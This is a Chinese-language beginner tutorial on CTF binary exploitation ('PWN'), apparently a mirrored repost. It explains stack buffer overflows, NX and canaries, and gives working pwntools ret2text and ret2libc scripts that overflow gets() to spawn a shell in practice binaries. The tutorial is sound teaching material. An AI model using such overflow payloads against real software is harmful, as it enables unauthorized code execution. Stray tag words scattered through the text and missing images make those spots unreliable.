什麼是PWN

PWN的基礎

1、PWN的由來

CTF比賽主要表現如下幾個技能上:逆向工程、密碼 學、ACM編程、Web漏洞、二進制溢出、網絡和取證等。在國際CTF賽事中,二進制溢出也稱之爲PWN。python

PWN是一個黑客語法的俚語詞,自"own"這個字引伸出來的,這個詞的含意在於,玩家在整個遊戲對戰中處在勝利的優點,或是說明競爭對手處在徹底慘敗的 情形下,這個詞習慣上在網絡遊戲文化主要用於嘲笑競爭對手在整個遊戲對戰中已經徹底被擊敗(例如:"You just got pwned!")。有一個很是著名的國際賽事叫作Pwn2Own,相信你如今已經可以理解這個名字的含義了,即經過戰勝對手來達到擁有的目的。linux

CTF中PWN題型一般會直接給定一個已經編譯好的二進制程序(Windows下的EXE或者Linux下的ELF文件等),而後參賽選手經過對二進制程 序進行逆向分析和調試來找到利用漏洞,並編寫利用代碼,經過遠程代碼執行來達到溢出攻擊的效果,最終拿到目標機器的shell奪取flag。shell

2、Linux管道

Linux管道能夠將一個進程的標準輸出做爲另外一個進程的標準輸入,管道的操做符號爲「|」,好比ls命令可用於查看當前目錄下的文件列表,而grep命 令可用於匹配特定的字符,所以ls | grep test命令可用於列出當前目錄下文件名包含test的文件。編程

3、Python基礎

在Linux shell中執行python -c "print 'Hello'"能夠執行雙引號中的Python語句,即經過print打印出Hello字符串。Python中單引號和雙引號沒有區別,由於這裏使用雙 引號修飾Python語句,所以使用單引號修飾字符串。ruby

4、gdb調試器

gdb是Linux下經常使用的一款命令行調試器,擁有十分強大的調試功能。本文中須要用到的gdb命令以下:bash

 
image

5、彙編基礎

讀懂常見的彙編指令是CTF競賽中PWN解題的基本要求:網絡

 
image

彙編語言中,esp寄存器用於指示當前函數棧幀的棧頂的位置,函數中局部變量都存儲在棧空間中,棧的生長方向是向下的(即從高地址往低地址方向生長)。函數

緩衝區溢出是指當計算機向緩衝區內填充數據位數時超過了緩衝區自己的容量,使得溢出的數據覆蓋在合法數據上,理想的狀況是程序檢查數據長度並不容許輸入超 過緩衝區長度的字符,可是絕大多數程序都會假設數據長度老是與所分配的儲存空間相匹配,這就爲緩衝區溢出埋下隱患。工具


PWN的入門

1、學pwn須要哪些知識呢?

漏洞通常是一、gets函數這種對輸入沒有限制致使溢出。二、格式化字符串漏洞。三、數據類型轉換的時候產生了溢出。 總的來講就是對輸入的值限制的不夠讓用戶的輸入影響了執行流。 那麼如何利用漏洞呢? 在linux中有一個system函數system("/bin/bash")這條語句就能夠調出shell。讓程序執行這個函數就能實現對shell的調用了_spa

2、須要注意什麼

在溢出是要清楚2個問題:一、哪裏有漏洞,也就是咱們能把本身的代碼或者字符放到函數裏並影響執行。二、咱們要讓它執行什麼。

3、簡單的pwn

```
nt __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(&s); printf("Maybe I will tell you next time !"); return 0; } ``` 這裏須要安裝pwntools[這裏能夠安裝工具](https://blog.csdn.net/gyhgx/article/details/53439417) ``` from pwn import * payload='A'*112+p32(0x0804863a) p=process("./ret2text") p.recvline() p.sendline(payload) p.interactive() ``` 112臨時變量|addr(s)-ebp|+4 0x0804863a這個地址處是 ``` .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ``` 

4、系統保護機制

固然系統也是有不少保護機制的

checksec工具能夠幫助咱們查看程序開啓的保護。

下面是checksec的執行結果

root@kali:~/桌面# checksec ret2text [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 

如今我接觸的2個一個是NX和stack。NX保護是站內代碼不可執行。stack是在棧裏面放一個canary值這個值一旦被修改就會觸發check_failed()函數,打印程序名而後退出。

NX保護:

你不能執行我就不執行,棧裏面的內容只負責把程序執行流引入到一個須要的彙編代碼的位置處,而後調用程序本身的一些代碼來實現攻擊。你能夠調用含有call或者ret代碼這樣就能一直鏈接下去。這就是大佬說的ROP鏈。

cannary:

函數在執行的時候把一個值放入到棧內的某個位置,咱們想要溢出返回地址就要改變這個值,返回的時候系統檢查canary值是否改變,若是改變就調用check_failed()函數,打印程序名而後退出。基於這個原理咱們能夠一、找到canary的值而後填進去。二、能夠覆蓋掉check_\failed()的調用地址換成system()

若是system和」/bin/bash」沒有放在一塊兒怎麼辦

這是ida反編譯結果。

int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; } 

和以前惟一不一樣的是system和字符串「/bin/bash」分開了

下面是腳本

from pwn import * elf=ELF('ret2libc1') payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720) p=process("./ret2libc1") p.recvline() p.sendline(payload) p.interactive() 

關注一下payload plt是elf加載動態庫用的 ,裏面是個地址,存放着一個jmp xxx xxx就是system的地址。’aaaa’是system的返回地址,不須要返回了因此這個值沒用,p32(0x8049720)是‘/bin/bash’的地址。須要注意的是上一個例子是隻須要傳進去參數就行,這裏進入system的是ret不只須要咱們佈置‘/bin/bash’還須要佈置返回地址。

做者:陳玄霄 連接:https://www.jianshu.com/p/4ce73b3f8f4c 來源:簡書 著做權歸做者全部。商業轉載請聯繫做者得到受權,非商業轉載請註明出處。
相關文章
相關標籤/搜索